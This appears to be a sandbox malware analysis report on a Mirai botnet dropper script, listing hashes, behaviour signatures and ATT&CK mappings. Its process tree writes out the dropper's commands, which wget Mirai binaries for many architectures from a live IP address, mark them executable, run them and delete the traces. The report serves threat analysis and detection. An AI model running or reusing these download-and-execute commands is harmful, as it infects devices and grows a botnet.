mirai | 754b41c6595049c9ad2f0eca57ea2606be99b98fe311a51287811029e641fd11

Analysis

max time kernel
122s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
16/05/2026, 19:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 325B
Sample260516-x4ehescs6l
SHA256 754b41c6595049c9ad2f0eca57ea2606be99b98fe311a51287811029e641fd11
MD5 d6979dcee35c1aa4f828ae9679f08182
SHA1 85e1ef1684dc87c10e5e3c9cd37554170081b4e2
SHA512 28829f682cf23e7fe965b33fb9a12b5eecf67df3c5ba29cba4644f0adae6dc4173218020f78f0f2f10b9188b6cd50257dc9778e282a5851c99772db2233c748d
TLSH
T19FE07D69000235577F4F8E18E53437C035419CA56B10042FD2B96813487CF023319976
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet mirai defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (18881) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
751	chmod
755	chmod
770	chmod
776	chmod
798	chmod
808	chmod
736	chmod
766	chmod
788	chmod
819	chmod

Deletes itself 1 IoCs

pid	Process
756	dvrHelper

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/dvrHelper	737	bins.sh
/tmp/dvrHelper	747	bins.sh
/tmp/dvrHelper	752	bins.sh
/tmp/dvrHelper	756	bins.sh
/tmp/dvrHelper	767	bins.sh
/tmp/dvrHelper	771	bins.sh
/tmp/dvrHelper	777	bins.sh
/tmp/dvrHelper	789	bins.sh
/tmp/dvrHelper	799	bins.sh
/tmp/dvrHelper	809	bins.sh
/tmp/dvrHelper	821	bins.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	dvrHelper
File opened for modification	/dev/misc/watchdog	dvrHelper

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	dvrHelper

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	dj8gndmf0mbw1lp41jahhssecdp5c777	756	dvrHelper

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	dvrHelper

Reads runtime system information 27 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/725/exe	dvrHelper
File opened for reading	/proc/155/fd	dvrHelper
File opened for reading	/proc/177/fd	dvrHelper
File opened for reading	/proc/248/fd	dvrHelper
File opened for reading	/proc/759/exe	dvrHelper
File opened for reading	/proc/674/exe	dvrHelper
File opened for reading	/proc/823/exe	dvrHelper
File opened for reading	/proc/1/fd	dvrHelper
File opened for reading	/proc/358/fd	dvrHelper
File opened for reading	/proc/362/fd	dvrHelper
File opened for reading	/proc/382/fd	dvrHelper
File opened for reading	/proc/680/exe	dvrHelper
File opened for reading	/proc/712/exe	dvrHelper
File opened for reading	/proc/714/exe	dvrHelper
File opened for reading	/proc/825/exe	dvrHelper
File opened for reading	/proc/332/fd	dvrHelper
File opened for reading	/proc/363/fd	dvrHelper
File opened for reading	/proc/422/exe	dvrHelper
File opened for reading	/proc/662/exe	dvrHelper
File opened for reading	/proc/677/exe	dvrHelper
File opened for reading	/proc/765/exe	dvrHelper
File opened for reading	/proc/334/fd	dvrHelper
File opened for reading	/proc/378/fd	dvrHelper
File opened for reading	/proc/390/fd	dvrHelper
File opened for reading	/proc/679/exe	dvrHelper
File opened for reading	/proc/707/exe	dvrHelper
File opened for reading	/proc/715/exe	dvrHelper

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
749	wget

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:718
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.arm -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:737
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.m68k -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:747
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.mips -O dvrHelper
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:752
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.mpsl -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:756
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.ppc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:767
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.sh4 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:771
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.x86 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:777
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.spc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:789
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.arm7 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:799
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.arm_universal -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:809
- /usr/bin/wget
  wget http://5.231.248.211:80/mirai.arm5n -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:821
- /bin/rm
  rm -f bins.sh dvrHelper systemd-private-f018453da2044bd68186712f89265a67-systemd-timedated.service-eRXURB
  2⤵
  PID:824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dvrHelper

Path /tmp/dvrHelper
Size 59KB
SHA256 4aa8570f8aaf53131154f8e1823310aa92a9c241c751d340a79a8b03a69ee086
MD5 8b6a3c1156b1fc39ed45f3f6dbbbb2dd
SHA1 14cbafbd10544a45e8610910995482a865c78e6a
SHA512 865815deb0150fce9fa6a0e7eb48bc0f713fab06fd3cb616a421f8cb62722030541053acb4f489781a4404242a52e2ab5cf420624f062bf69fd4725e746ff7a9
SSDEEP 1536:8Z/r3+M1x6jtIaBpLUqVrL2yBCtt5K835vxRd:8Z/r3r1ExlvYbKO5vxb
TLSH
T1C2532995BC928A12CAD423B6FA2E418D372263E8D1DF3207DD216F1177CA82F0DB7556
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 58KB
SHA256 2b6708490f9a52dd14878524bee2cfbced0c5d820f3845c78d166349aca244c1
MD5 908e99d93af3fc5376d8f837058f1e27
SHA1 3fc1ea158413fed8b389d54f1643df276a1fdcfd
SHA512 d296586db714e68943004991c1b782bb661b3c0545cff4ab31b77b402c3bfd9cd3d1af730f089f98f2134b6fa0d31def207fdaed48b621e2e201e93c7241a4dd
SSDEEP 1536:Tqgor9Y1CsGlgtPssZHekkCkNnSygjV/MtA8JW:h+ssgtfYLpu/KK
TLSH
T1A5435DD5B400DE7CF94BEBBA80154A09FA35722154A30F27B267FD93AC721964C2BD47
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 77KB
SHA256 247205376dab8c6a556a4d406534bee1865e4454190422fcc0ef30b90a44a47d
MD5 f100a747f76db7b33e0c7e6ea89d7bbb
SHA1 c4797fd828c6b83bd75415b6b07b81cab7d24d7d
SHA512 1b2fa8fdf5c2bcde2336dc14c3eeda423ca7a3a4c702300c4b4ce9b9a367403eb234c1c7a02086a5e310221e265cee11aab289dd76bbe583c4e382c3b43586fd
SSDEEP 1536:D4Z8VUay6+vl/R1KIdysUmR9EiYHXwaNZBpqUz5jjETN:E6Zy6+vdGIdysUKKZBpzzxjIN
TLSH
T19073840E2E619FBCFBAD863587B35F209248339626E1C545D19CFA011E7034E746FBA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 78KB
SHA256 e73f85119316e6b9b2ec804a4de846506509622be3d0fecc32757b0026209cb7
MD5 7a022dcf17ad720e652bd6fd0d17fb5f
SHA1 f2f4338a5bf4a28fe299beffcd073bc9b6dc7f31
SHA512 523a60a439ef8b16ed47974a8b73e9d7aeecc96b9b833fa911322fd511b4020de262cd2e01fb79ffe72fd0fdea4c70b1c056610604cb681d0ee94461496ff5c2
SSDEEP 1536:51GFfut18vDh5RZIghWrMQI79kMj7vyKrWFKOh:5sFfut14hughWAnpWY
TLSH
T16D73840ABF610FF7E8AFDC3789E91B45248D641A21993B797D34D818B24B24F49E3870
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 56KB
SHA256 570defa7e26fadd39e7bef381db30ca56f2defbe57b5fc3030eb5fb2db77e09c
MD5 b604cbc3dbd3c908caa940bbea192808
SHA1 90b7811e9e8365fc64b632db5fec60722b1fc593
SHA512 d5215c154f020c624316f598b33f4a41b29500861d639bc83f8326e77ccf1cc2109ac432cf40d0a2fe5247bca572ff4b68e9ebd43cf7e6379733d08bd6ae85c2
SSDEEP 768:sapBtbSHgJiWrrrP2ijRYBaRTVEMorVnWkCxDqfMyGCGEg3s3f/3KPtZAIsYsdJS:s/AgWZjRYIarFW3TyGTJ3s3fmDsjxk
TLSH
T1AD436A0273280A47E1621FF4293F27E083EEE99121F4F589660FDA464275F77158AFD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 73KB
SHA256 e8b4af08850982fa202a7d519d8eecc0c49fd243cce16b023981e0c94447b20e
MD5 03688585818d28d1278c5f49c28a0115
SHA1 157e8dedf50321eb936c730d2391eb42539a79d3
SHA512 00216d3e8f61f9c8155d62654b9f1b0430b1cfb3a017c74e73cf8b8f4668327da0b87bbf82a4fc394add869f99e297ef7a7c94ca4a5f48681e4d389b0e3ef6d1
SSDEEP 1536:UATmE7Ow0CBsqSLRL+igfr6rL2yBCNt5s/D1iY:UATmE6w0L8kvkbsL1i
TLSH
T151730952BC928A26C6E063B6BA5F515E3325A3F9D1CB3317CC1447243ACA52E1DA3BD1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads